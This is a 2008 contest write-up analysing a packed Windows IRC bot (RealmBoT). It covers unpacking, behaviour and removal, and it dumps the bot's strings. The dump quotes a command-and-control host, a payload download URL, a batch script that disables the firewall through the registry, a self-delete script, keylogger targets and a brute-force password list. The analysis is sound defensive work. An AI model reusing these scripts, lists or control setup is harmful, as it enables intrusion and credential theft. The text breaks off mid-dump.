

# Analysis of unknown malware for Malware Challenge 2008

<http://www.malwarechallenge.info/>

Author: [Oxbaddead@op.pl](mailto:Oxbaddead@op.pl)  
Date: Oct 26, 2008

## ::- 0x1. ANALYSIS DAWN.

Analysis start timestamp: Fri Oct 24 22:11:18 CEST 2008

Music: Orbital, Prodigy, Creed, Lenny, Underworld, Eminem, Irons, Metallica.

Extras: coffee, chair, brain.

## ::- 0x2. MALWARE ARCHIVE CHECK.

```
0xbaddead@ganimesdes:~/analysis/malwares/MC2008-10.1$ md5sum malware.zip
31d2ec3b312d0fd27940aae5c89e3787  malware.zip
```

Correct !

What type of file is it?

```
0xbaddead@ganimesdes:~/analysis/malwares/MC2008-10.1$ file malware.zip
malware.zip: Zip archive data, at least v2.0 to extract
```

Correct !

Time to unzip...

```
0xbaddead@ganimesdes:~/analysis/malwares/MC2008-10.1$ unzip malware.zip
```

```
Archive:  malware.zip
```

```
[malware.zip] malware.exe password:
```

```
  inflating: malware.exe
```

Type of file:

```
0xbaddead@ganimesdes:~/analysis/malwares/MC2008-10.1$ file malware.exe
```

```
malware.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit
```

Seems to be OK.

## ::- 0x3. ANSWERS.

### **0x3.1. Describe your malware lab.**

I've used:

Ubuntu Linux as a host.

VMWare as a virtualization environment.

Windows XP Professional SP2 (fully patched) as a guest.

Tools: OllyDBG, strings, objdump, LordPE, PEiD, TCPView, WireShark, tcpdump, ircd, bitchx, sysinternals.com tools, own brain.

Whole test lab is physically detached from any network. Data is transferred using USB pen-drive.

### **0x3.2. What information can you gather about the malware without executing it?**

This is Windows 32-bit PE binary. It has three sections: ABC0, ABC1, ABC2, code, date and resources respectively.

Much more details can be found in 0x4 Analysis section. Enjoy.

### **0x3.3. Is the malware packed ? If so, how did you determine what it was ?**

Yes. It was packed using UPX packer and the resulting binary was tweaked manually. Names of sections were changed from UPX0, UPX1 and .rsrc to ABC0, ABC1 and ABC2 respectively. The 'UPX header' (version info) has been changed as well (to ABC). The technical details how I did that can be found in 0x4 Analysis section. Enjoy.

### **0x3.4. Describe malware behavior. What files does it drop ? What registry keys does it create and/or modify ? What network connections does it create ? How does it auto-start, etc. ?**

Basically this malware drops 3 files (2 to windows\prefetch folder, 1 to \windows folder - main executable Winsec32.exe) and changes 3 autostart regkeys. It also tries to connect to IRC server at testirc1.sh1xy2bg.NET to register itself in #challenge channel. This is the main C&C channel. More details can be found in 0x4 Analysis section. Enjoy.

### **0x3.5. What type of command and control server does the malware use ? Describe the server and interface this malware uses as well as the domains and URLs accessed by the malware.**

It is classic IRC C&C technique. Bot connects to specified host testirc1.sh1xy2bg.NET, registers to channel #challenge and listens for commands from the attacker.

More technical details can be found in 0x4 Analysis section. Enjoy.

### **0x3.6. What commands are present within the malware and what do they do ? If possible, take control of the malware and run some of these commands, documenting how you did it.**

Malware support 163 different commands. These commands allow the attacker to take complete control over the victim machine. It includes: executing commands remotely, uploading/downloading files, keylogging, scanning the network, etc. The complete list of the commands can be found in 0x4 section. It is possible to take control over the malware. During the analysis I set up the IRC server which was my own attack vector towards the malware.

More technical details can be found in 0x4 Analysis section. Enjoy.

### **0x3.7. How would you classify this malware ? Why ?**

In my opinion it's a trojan/backdoor malware with keylogging capabilities.

### **0x3.8. What do you think the purpose of this malware is ?**

I guess the main purpose of this malware is a creation of the botnet, controlled by a single/group of attacker(s).

### **EXTRAS:**

#### **0x3.9. Is it possible to find the malware's source code ? If so, how did you do it ?**

It was once possible to download the source code from Rapidshare.de webservice. Now it has been removed. Maybe there is another place where it can be downloaded from.

More details can be found in 0x4 section. Enjoy.

#### **0x3.a. How would you write a custom detection and removal tool to determine if the malware is present n the system and remove it ?**

The simplest program to write is a batch file. This removal engine has to check if the malware process is

present in memory (Winsec32.exe) and binary copy of the malware (\windows\winsec32.exe). Then the malware process must be killed, binary copies removed and registry keys for autostart cleaned up.

More details can be found in 0x4 Analysis section. Enjoy.

## ::- 0x4. ANALYSIS.

Getting info about the file:

```
Oxbaddead@ganimedes:~/analysis/malwares/MC2008-10.1$ objdump -x malware.exe
```

```
malware.exe:      file format elf32-i386
malware.exe
architecture: i386, flags 0x0000010a:
EXEC_P, HAS_DEBUG, D_PAGED
start address 0x000000000047ae20
```

```
Characteristics 0x10f
  relocations stripped
  executable
  line numbers stripped
  symbols stripped
  32 bit words
```

```
Time/Date          Sat Sep 16 20:13:46 2006
```

```
ImageBase          0000000000400000
SectionAlignment   000000000001000
FileAlignment      000000000000200
MajorOSVersion     4
MinorOSVersion     0
MajorImageVersion  0
MinorImageVersion  0
MajorSubsystemVersion 4
MinorSubsystemVersion 0
Win32Version       00000000
SizeOfImage        0007c000
SizeOfHeaders      00001000
Checksum           00000000
Subsystem          00000002      (Windows GUI)
DllCharacteristics 00000000
SizeOfStackReserve 0000000000100000
SizeOfStackCommit  000000000001000
SizeOfHeapReserve  0000000000100000
SizeOfHeapCommit   000000000001000
LoaderFlags        00000000
NumberOfRvaAndSizes 00000010
```

The Data Directory

```
Entry 0 0000000000000000 00000000 Export Directory [.edata (or where ever we found it)]
Entry 1 000000000007b000 000000d4 Import Directory [parts of .idata]
Entry 2 0000000000000000 00000000 Resource Directory [.rsrc]
Entry 3 0000000000000000 00000000 Exception Directory [.pdata]
Entry 4 0000000000000000 00000000 Security Directory
Entry 5 0000000000000000 00000000 Base Relocation Directory [.reloc]
```

```

Entry 6 0000000000000000 00000000 Debug Directory
Entry 7 0000000000000000 00000000 Description Directory
Entry 8 0000000000000000 00000000 Special Directory
Entry 9 0000000000000000 00000000 Thread Storage Directory [.tls]
Entry a 0000000000000000 00000000 Load Configuration Directory
Entry b 0000000000000000 00000000 Bound Import Directory
Entry c 0000000000000000 00000000 Import Address Table Directory
Entry d 0000000000000000 00000000 Delay Import Directory
Entry e 0000000000000000 00000000 CLR Runtime Header
Entry f 0000000000000000 00000000 Reserved

```

There is an import table in ABC2 at 0x47b000

The Import Tables (interpreted ABC2 section contents)

```

vma:          Hint      Time      Forward  DLL      First
              Table     Stamp     Chain    Name     Thunk
0007b000      00000000 00000000 00000000 0007b060 0007b03c

```

DLL Name: KERNEL32.DLL

```

0007b014      00000000 00000000 00000000 0007b06d 0007b058

```

DLL Name: WS2\_32.dll

```

0007b028      00000000 00000000 00000000 00000000 00000000

```

Sections:

```

Idx Name      Size      VMA              LMA              File off  Algn
  0 ABC0       00068000 0000000000401000 0000000000401000 00000400 2**2
              CONTENTS, ALLOC, CODE
  1 ABC1       00012000 0000000000469000 0000000000469000 00000400 2**2
              CONTENTS, ALLOC, LOAD, CODE, DATA
  2 ABC2       00000200 000000000047b000 000000000047b000 00012400 2**2
              CONTENTS, ALLOC, LOAD, DATA

```

SYMBOL TABLE:

no symbols

This is WIN32 binary. It seems this binary has been packed/encoded somehow. Very short import table and strange section names (ABCx).

Lets try to check ASCII/Unicode strings within to make sure.

```
0xbaddead@ganimedes:~/analysis/malwares/MC2008-10.1$ strings malware.exe
```

```

j<_+D$
WRP`
2jdVS1L
jK"X wK
B;72+Oe
h      ^|
u& }f
TUZuE
AYP@(
jFPh|ZSN.

[...snip...]
`.r
XPTPSW
KERNEL32.DLL

```

```
WS2_32.dll
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess
```

Interesting but standard packer functions exported from KERNEL32.DLL.  
Definitely it IS a packer of some kind.

\*\*\*\* Need to identify the packer/encoder

PEiD 0.94 says:  
UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo

Lets try to unpack it.

```
E:\analysis>upx -l malware.exe
                Ultimate Packer for eXecutables
                Copyright (C) 1996 - 2008
UPX 3.03w      Markus Oberhumer, Laszlo Molnar & John Reiser   Apr 27th 2008
```

```
      File size      Ratio      Format      Name
      -----      -
upx: malware.exe: CantUnpackException: file is modified/hacked/protected; take care!!!
```

Ups! Strange. Never seen such message before.

Lets think. Standard UPX packer compresses each binary in three sections: UPX0, UPX1 and .rsrc. This is quite similar to this ABCx section names present in malware.exe.

Is it possible someone changed section names only ? Lets try it empirically.

It's not wise to play around with a malware binary, so need to experiment with notepad.exe.

After packing notepad.exe with upx and editing it with LordPE (changed the first UPX0 name to .UPX0) got the same error mesg.

OK. Lets try to edit malware. Made a backup copy of malware.

```
E:\analysis>copy malware.exe malware.exe-bekap
1 file(s) copied.
```

Made appropriate section name changes but now luck. Strange.  
Need to compare the broken UPX with original.

When viewing UPXed notepad.exe under biew.exe I noticed there is some 'header-like' info about UPX packer (information about packer version). In malware.exe this also has been changed to ABC.  
After editing malware.exe under lordPE got the following:

```
E:\analysis>upx -l malware.exe
                Ultimate Packer for eXecutables
                Copyright (C) 1996 - 2008
UPX 3.03w      Markus Oberhumer, Laszlo Molnar & John Reiser   Apr 27th 2008
```

```
      File size      Ratio      Format      Name
      -----      -
169472 ->    75264    44.41%    win32/pe    malware.exe
```

```
E:\analysis>upx -d malware.exe
                Ultimate Packer for eXecutables
                Copyright (C) 1996 - 2008
UPX 3.03w      Markus Oberhumer, Laszlo Molnar & John Reiser   Apr 27th 2008
```

File size	Ratio	Format	Name
----- 169472 <- 75264	----- 44.41%	----- win32/pe	----- malware.exe

Unpacked 1 file.  
We're back on the road...

I must say I need to play a bit more with packers, but some other time...

There is also another trick to be used when playing with packers/encoders. I usually use OllyDBG to unpack unknown packers (using OllyDump plugin and Imprec). These tricks are very well explained and documented in video tutorials by Sebastien Doucet (videos.reverse-engineering.net) - thanks Sebastien.

I've done the RE manually and found the OEP is at 4109CC which is exactly the same as in unpacked malware.exe. Great.

Now 'The King' is naked...

PEiD 0.94 says now it's Microsoft Visual C++ 6.0.

OK. Strings by Mark Russinovich are to be used.  
E:\analysis>strings malware.exe

[...snip...]

```

GAIProcessorFeaturePresent
KERNEL32
e+000
runtime error
TLOSS error
SING error
DOMAIN error
R6028
- unable to initialize heap
R6027
- not enough space for lowio initialization
R6026
- not enough space for stdio initialization
R6025
- pure virtual function call
R6024
- not enough space for _onexit/atexit table
R6019
- unable to open console device
R6018
- unexpected heap error
R6017
- unexpected multithread lock error
R6016
- not enough space for thread data
abnormal program termination
R6009
- not enough space for environment
R6008
- not enough space for arguments
R6002

```

```
- floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
...
<program name unknown>
GXA
KXA
GetLastActivePopup
GetActiveWindow
MessageBoxA
1#QNAN
1#INF
1#IND
1#SNAN
KERNEL32.DLL
WS2_32.dll
GetLocalTime
SetEndOfFile
FlushFileBuffers
SetStdHandle
GetStringTypeW
GetStringTypeA
RtlUnwind
GetFileType
GetStdHandle
SetHandleCount
GetEnvironmentStringsW
GetEnvironmentStrings
FreeEnvironmentStringsW
FreeEnvironmentStringsA
UnhandledExceptionFilter
LCMapStringW
LCMapStringA
GetTickCount
GetVersionExA
Sleep
GlobalMemoryStatus
GetTimeFormatA
GetDateFormatA
GetWindowsDirectoryA
FormatMessageA
GetLastError
GlobalUnlock
GlobalLock
CloseHandle
UnmapViewOfFile
MapViewOfFile
CreateFileMappingA
SetFileTime
GetFileTime
CreateFileA
CreateProcessA
ExpandEnvironmentStringsA
SetFileAttributesA
GetFileAttributesA
GetModuleFileNameA
GetModuleHandleA
```

WriteFile  
GetTempPathA  
LoadLibraryA  
GetProcAddress  
GetLocaleInfoA  
ExitThread  
TerminateThread  
OpenProcess  
GetCurrentProcessId  
CopyFileA  
ExitProcess  
WaitForSingleObject  
CreateMutexA  
DeleteFileA  
MoveFileA  
CreateThread  
WideCharToMultiByte  
MultiByteToWideChar  
GetComputerNameA  
GetCurrentProcess  
TerminateProcess  
GetLogicalDrives  
GetFileSize  
FindClose  
FileTimeToSystemTime  
FileTimeToLocalFileTime  
FindNextFileA  
FindFirstFileA  
ReadFile  
SetFilePointer  
GetExitCodeProcess  
PeekNamedPipe  
DuplicateHandle  
CreatePipe  
QueryPerformanceCounter  
QueryPerformanceFrequency  
LeaveCriticalSection  
EnterCriticalSection  
InitializeCriticalSectionAndSpinCount  
DeleteCriticalSection  
HeapFree  
HeapAlloc  
HeapReAlloc  
GetStartupInfoA  
GetCommandLineA  
GetVersion  
GetCPInfo  
GetACP  
GetOEMCP  
GetEnvironmentVariableA  
HeapDestroy  
HeapCreate  
VirtualFree  
VirtualAlloc  
-VA  
const  
j0@  
letter

```
country
oscountry
13@
@0x
essAu
tThru
tftp.exe -i get
X[]P
WRQQj(j
QQUS
%dd %dh %dm
[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]: %s total, %s free.
[OS]: Windows %s (%d.%d,
Build %d). [Sysdir]: %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:
%s. [Uptime]: %s.
HH:mm:ss
dd:MMM:yyyy
couldn't resolve host
%s (%s)
???
2003
[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.
N/A
LAN
Dial-up
Not connected
%s Error: %s <%d>.
mIRC
explorer.exe
%s %s
SeShutdownPrivilege
%%comspec%% /c %s %s
@echo off
:repeat
del "%1"
if exist "%1" goto repeat
del "%s"
%sdel.bat
c:\a.bat
@echo off
Echo REGEDIT4>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>>%temp
%\1.reg
Echo "TransportBindName"="">>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaucler]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscntfy]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg
Echo "EnableDCOM"="N">>%temp%\1.reg
Echo "EnableRemoteConnect"="N">>%temp%\1.reg
```

```
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>%temp%\1.reg
Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]
>>%temp%\1.reg
Echo "Enabled"=hex:00>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>%temp%\1.reg
Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg
Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]>>%temp%\1.reg
Echo "NameServer"="">>%temp%\1.reg
Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg
Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg
Echo "Domain"="">>%temp%\1.reg
Echo "SearchList"="">>%temp%\1.reg
Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg
Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg
Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg
Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg
Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg
Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg
Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg
Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg
Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg
Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg
Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg
Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg
Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg
Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg
Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg
Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg
Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg
Echo "FastSendDatagramThreshold"=dword:00000400>>%temp%\1.reg
Echo "StandardAddressLength"=dword:00000018>>%temp%\1.reg
Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg
Echo "DefaultReceiveWindow"=dword:00004000>>%temp%\1.reg
Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg
Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg
Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg
Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg
Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg
Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg
Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg
Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg
Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg
Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg
Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg
Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg
Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg
Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg
Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg
```

```

Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg
Echo "DNSQueryTimeouts"
=hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>
>%temp%\1.reg
Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg
Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\1.reg
Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\1.reg
Echo "UpdateSecurityLevel " =dword:00000000>>%temp%\1.reg
Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg
Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg
Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg
Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg
Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg
Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg
Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg
Echo "SackOpts"=dword:00000001>>%temp%\1.reg
Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg
Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg
Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg
Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg
Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg
Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg
Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg
Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg
Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg
Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg
Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg
Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg
Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg
Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg
Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]>>
%temp%\1.reg
Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg
Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg
Echo.>>%temp%\1.reg
START /WAIT REGEDIT /S %temp%\1.reg
DEL %temp%\1.reg
DEL %0
RealmBoT (flushdns.p.l.g) .
. Not supported by this system.
RealmBoT (flushdns.p.l.g) .
. Unable to allocation ARP cache.
RealmBoT (flushdns.p.l.g) .
. Error getting ARP cache: <%d>.
RealmBoT (flushdns.p.l.g) .
. ARP cache is empty.
RealmBoT(flushdns.p.l.g) .
. Error getting ARP cache: <%d>.
%d.%d.%d.%d
SQLDisconnect
SQLFreeHandle
SQLAllocHandle
SQLExecDirect
SQLSetEnvAttr

```

SQLDriverConnect  
odbc32.dll  
SHChangeNotify  
ShellExecuteA  
shell32.dll  
WNetCancelConnection2W  
WNetCancelConnection2A  
WNetAddConnection2W  
WNetAddConnection2A  
mpr.dll  
DeleteIpNetEntry  
GetIpNetTable  
iphlpapi.dll  
DnsFlushResolverCacheEntry\_A  
DnsFlushResolverCache  
dnsapi.dll  
NetMessageBufferSend  
NetUserGetInfo  
NetUserEnum  
NetUserDel  
NetUserAdd  
NetRemoteTOD  
NetApiBufferFree  
NetScheduleJobAdd  
NetShareEnum  
NetShareDel  
NetShareAdd  
netapi32.dll  
IcmpSendEcho  
IcmpCloseHandle  
IcmpCreateFile  
icmp.dll  
Mozilla/4.0 (compatible)  
InternetCloseHandle  
InternetReadFile  
InternetCrackUrlA  
InternetOpenUrlA  
InternetOpenA  
InternetConnectA  
HttpSendRequestA  
HttpOpenRequestA  
InternetGetConnectedStateEx  
InternetGetConnectedState  
wininet.dll  
closesocket  
getpeername  
gethostbyaddr  
gethostbyname  
gethostname  
getsockname  
setsockopt  
accept  
listen  
select  
bind  
recvfrom  
recv  
sendto

send  
ntohl  
ntohs  
htonl  
htons  
inet\_addr  
inet\_ntoa  
connect  
ioctlsocket  
socket  
WSACleanup  
WSAGetLastError  
WSAIoctl  
\_\_WSAFDIsSet  
WSAAsyncSelect  
WSASocketA  
WSAStartup  
ws2\_32.dll  
DeleteObject  
DeleteDC  
BitBlt  
SelectObject  
GetDIBColorTable  
GetDeviceCaps  
CreateCompatibleDC  
CreateDIBSection  
CreateDCA  
gdi32.dll  
GetUserNameA  
IsValidSecurityDescriptor  
EnumServicesStatusA  
CloseServiceHandle  
DeleteService  
ControlService  
StartServiceA  
OpenServiceA  
OpenSCManagerA  
AdjustTokenPrivileges  
LookupPrivilegeValueA  
OpenProcessToken  
RegCloseKey  
RegDeleteValueA  
RegQueryValueExA  
RegSetValueExA  
RegCreateKeyExA  
RegOpenKeyExA  
advapi32.dll  
GetForegroundWindow  
GetWindowTextA  
GetKeyState  
GetAsyncKeyState  
ExitWindowsEx  
CloseClipboard  
GetClipboardData  
OpenClipboard  
DestroyWindow  
IsWindow  
FindWindowA

```
SendMessageA
user32.dll
RegisterServiceProcess
QueryPerformanceFrequency
QueryPerformanceCounter
SearchPathA
GetDriveTypeA
GetLogicalDriveStringsA
GetDiskFreeSpaceExA
Module32First
Process32Next
Process32First
CreateToolhelp32Snapshot
SetErrorMode
kernel32.dll
RealmBoT (core.p.l.g) .
. DLL test complete.
Odbc32.dll failed. <%d>
Shell32.dll failed. <%d>
Mpr32.dll failed. <%d>
Iphlpapi.dll failed. <%d>
Dnsapi.dll failed. <%d>
Netapi32.dll failed. <%d>
Icmp.dll failed. <%d>
Wininet.dll failed. <%d>
Ws2_32.dll failed. <%d>
Gdi32.dll failed. <%d>
Advapi32.dll failed. <%d>
User32.dll failed. <%d>
Kernel32.dll failed. <%d>
Unknown
Invalid
Disk
Network
Cdrom
RAM
failed
%sKB
RealmBoT (core.p.l.g) .
. %s Drive (%s): %s total, %s free, %s available.
RealmBoT (core.p.l.g) .
. %s Drive (%s): Failed to stat, device not ready.
A:\
%s%i
%s|
[%s]|
2K3
[%d]%s
[M]
%s[%s]
%d. %s
-[Thread List]-
%s: No %s thread found.
%s: %s stopped. (%d thread(s) stopped.)
Crxbot Alias REalmbot -by Lindem-
gempl23
testircl.shlxy2bg.NET
#challenge
```

```
happy12
Winsec32.exe
lol.dat
Microsoft Svchost local services
[ThK]-
lol.dll
+i-x+s
#challenge
#challenge
.asc vnc 100 0 0 -r -b
http://www.W32-gen.us (-National Virus Site-)
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\RunServices
Software\Microsoft\OLE
SYSTEM\CurrentControlSet\Control\Lsa
http://www.Nivdav.net/Winsec32.exe
```

[...snip...]

```
e-gold
PayPal
StormPay
WorldPay
Fotolog.net
Terra - Fotolog
Yahoo!
Domain Search
Bienvenido a Gmail
Welcome to Gmail
Domain Name Registration
Domain Name
My Account Login
MercadoLivre Brasil
Iniciar sesi
[ESC]
[ESC]
[F1]
[F1]
[F2]
[F2]
[F3]
[F3]
[F4]
[F4]
[F5]
[F5]
[F6]
[F6]
[F7]
[F7]
[F8]
[F8]
[F9]
[F9]
[F10]
[F10]
[F11]
[F11]
```

[F12]  
[F12]  
[TAB]  
[TAB]  
[CTRL]  
[CTRL]  
[WIN]  
[WIN]  
[WIN]  
[WIN]  
[PRSC]  
[PRSC]  
[SCLK]  
[SCLK]  
[INS]  
[INS]  
[HOME]  
[HOME]  
[PGUP]  
[PGUP]  
[DEL]  
[DEL]  
[END]  
[END]  
[PGDN]  
[PGDN]  
[LEFT]  
[LEFT]  
[UP]  
[UP]  
[RGHT]  
[RGHT]  
[DOWN]  
[DOWN]  
[NMLK]  
[NMLK]  
D:\  
C:\  
ADMIN\$\br/>IPC\$\br/>Continued  
Continue  
Paused  
Pause  
Stopped  
Stop  
Started  
Start  
Listed  
List  
Deleted  
Delete  
Added  
Add  
zimmerman  
zap  
yellowstone  
xyz

wisconsin

[...snip...]

\*\*\*\* Lots of different words, like english dictionary ? \*\*\*\*  
\*\*\*\* and after this someone filled up some extra words \*\*\*\*

000000  
00000  
0000  
000  
testing  
death  
xxxxxxxxxx  
xxxxxxxxxx  
xxxxxxx  
xxxxxxx  
xxxxx  
xxxx  
xxx  
guessme  
youwontguessme  
uwontguessme  
mirc  
kiddie  
scriptkiddie  
script  
hax0r  
hacker  
l337  
l33t  
leet  
killer  
0wn3d  
w00t  
heaven  
spaceman  
satanic  
satanik  
satan  
gobo  
Matthew  
Matt  
Mat  
mypass123  
mypass  
pw123  
admin123  
mypc123  
mypc  
love  
pwd  
login  
home  
zxcv  
yxcv  
qwer  
secret

asdf  
win  
test123  
abc  
aaa  
crash  
fucked  
netfuck  
irule  
owned  
Owned  
net-devil  
netdevil  
devil  
Nilez  
foobar  
god  
sex  
pat  
patrick  
alpha  
007  
123abc  
1234qwer  
123123  
121212  
111111  
110  
2600  
2002  
enable  
godblessyou  
ihavenopass  
123asd  
super  
Internet  
123qwe  
sybase  
abc123  
abcd  
passwd  
pass  
88888888  
11111111  
111  
54321  
654321  
123456789  
12345678  
1234567  
123456  
12345  
1234  
123  
templ23  
Changeme  
changeme  
linux

```
unix
LOCAL
pepsi
SERVER
SYSTEM
BACKUP
USER
ACCESS
TEST
edu
Owner
OWNER
DEMO
FILES
READ
BOTH
ladeda
FULL
WRITE
SHARE
TEMP
PASSWORD
ADMIN
ROOT
GUEST
bla
fubar
ADMINISTRATOR
db2
oracle
dba
database
default
guest
wwwadmin
teacher
student
owner
computer
root
staff
admin
admins
administrat
administrateur
administrador
administrator
Administrator
*@legalize.it
RealmBoT (irc.p.l.g) .
. Bot started.
%s %d "%s"
%s\s%s
%s%s
RealmBoT (irc.p.l.g) .
. Connected to %s.
NICK %s
USER %s 0 0 :%s
```

```
PASS %s
MODE %s %s
USERHOST %s
RealmBoT (irc.p.l.g) .
. User: %s logged in.
[REALMBOT] : Thank for trying.
RealmBoT (irc.p.l.g) .
. *Failed host auth by: (%s!%s).
NOTICE %s :Orders: No Talk with you.
NOTICE %s :WTF!?! no yet fucker!. (%s!%s).
RealmBoT (irc.p.l.g) .
. *Failed pass auth by: (%s!%s).
NOTICE %s :No pass for you.
NOTICE %s :Are you a Fucke?. (%s!%s).
RealmBoT (irc.p.l.g) .
. Random nick change: %s
[REALMBOT] << User %s logged out. >>
RealmBoT(irc.p.l.g) .
. Invalid login slot number: %d.
RealmBoT (irc.p.l.g) .
. No user logged in at slot: %d.
RealmBoT (irc.p.l.g) .
. %s
RealmBoT (secure.p.l.g) .
. Failed to start secure thread, error: <%d>.
[REALMBOT] << %s system. >>
Unsecuring
Securing
[REALMBOT] << Failed to start connection thread, error: <%d>. >>
.T..x. (visit.p.l.g) .
. URL: %s.
.p.ro.c...
Process list
RealmBoT (irc.p.l.g) .
. Reconnecting.
QUIT :reconnecting
RealmBoT (irc.p.l.g) .
. Disconnecting.
QUIT :disconnecting
QUIT :%s
RealmBoT (irc.p.l.g) .
. Status: Ready. Bot Uptime: %s.
RealmBoT (irc.p.l.g) .
. Bot ID: %s.
RealmBoT (threads.p.l.g) .
. Failed to start list thread, error: <%d>.
RealmBoT (threads.p.l.g) .
. List threads.
sub
RealmBoT (irc.p.l.g) .
. Alias list.
RealmBoT (log.p.l.g) .
. Failed to start listing thread, error: <%d>.
RealmBoT (log.p.l.g) .
. Listing log.
RealmBoT (irc.p.l.g) .
. Network Info.
RealmBoT(irc.p.l.g) .
```

```
. System Info.
[REALMBOT] : Goodbye idiot and nice try.
RealmBoT (processes.p.l.g) .
. Failed to start listing thread, error: <%d>.
RealmBoT (processes.p.l.g) .
